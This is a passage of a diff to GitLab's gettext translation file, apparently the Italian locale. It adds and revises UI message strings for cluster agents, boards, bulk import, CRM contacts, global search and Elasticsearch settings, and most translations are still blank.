@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Crea una nuova cartella"
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "Tag"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "Crea token d'accesso personale"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Timezone del Cron"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Nome cartella"
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr "Esplora progetti"
msgid "Explore public groups"
msgstr "Esplora gruppi pubblici"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
